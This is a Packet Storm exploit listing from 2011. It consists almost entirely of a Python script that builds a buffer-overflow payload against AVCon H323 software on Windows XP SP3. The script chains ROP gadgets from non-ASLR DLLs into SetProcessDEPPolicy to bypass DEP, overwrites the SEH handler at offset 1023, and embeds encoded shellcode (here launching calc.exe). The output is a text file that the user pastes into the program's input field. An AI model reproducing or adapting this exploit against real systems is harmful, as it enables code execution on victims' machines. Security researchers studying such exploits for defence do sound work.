AVCon Buffer Overflow With DEP Bypass

2011-09-21T00:00:00
ID PACKETSTORM:105252
Type packetstorm
Reporter Blake
Modified 2011-09-21T00:00:00

Description

                                        
                                            `# DEP Bypass for OptIn/OptOut  
# all modules used are not aslr aware  
# script produces a text file, copy the contents  
# paste in the input field next to the call button  
# discovered by Dillon Beresford  
  
import sys  
from struct import pack  
  
print "\n====================="  
print "AVCon H323 DEP Bypass"  
print " Written by Blake "  
print " Tested on XP SP3 "  
print "=====================\n"  
  
# around 619 bytes of space before seh overwrite  
# if more space is needed, around 2263 bytes after seh overwrite  
# calc.exe  
shellcode =(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"  
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"  
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"  
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"  
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"  
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"  
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"  
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"  
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"  
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"  
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"  
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"  
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"  
"\x4e\x46\x43\x36\x42\x50\x5a")  
  
# SetProcessDEPPolicy ROP Chain  
seh = pack('<L',0x1001414a) # {pivot 2072} # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,814 # RETN ** [avnmc2.dll]  
rop_nop = "\x41" * 3 # needed to align rop nop  
rop_nop += pack('<L',0x10024c43) * 90 # RETN - avnmc2.dll  
rop = pack('<L',0x20047e99) # POP EBX, RETN - HikPlayM4.dll  
rop += "\xff\xff\xff\xff"  
rop += pack('<L',0x6de13c78) # INC EBX # RETN 00 ** [xish264.dll]  
rop += pack('<L',0x6ddc48e4) # POP EBP, RETN - xish264.dll   
rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy - XP SP3  
rop += pack('<L',0x20050f44) # POP EDI, RETN - HikPlayM4.dll  
rop += pack('<L',0x20050f45) # RETN  
rop += pack('<L',0X20014DE1) # POP ESI, RETN  
rop += pack('<L',0x20050f45) # RETN  
rop += pack('<L',0x10016d22) # PUSHAD # RETN ** [avnmc2.dll]  
  
nops = "\x90" * 20  
junk = "\x43" * 5000  
buffer = "\x41" * (1023 - len(rop_nop + rop + nops + shellcode)) # SEH overwritten at 1023  
  
print "[+] Creating file"  
try:  
file = open("exploit.txt","w")  
file.write(rop_nop + rop + nops + shellcode + buffer + seh + junk)  
file.close()  
print "[+] File created"  
except:  
print "[X] Error creating file!"  
  
raw_input("[+] Press any key to exit\n")  
  
  
`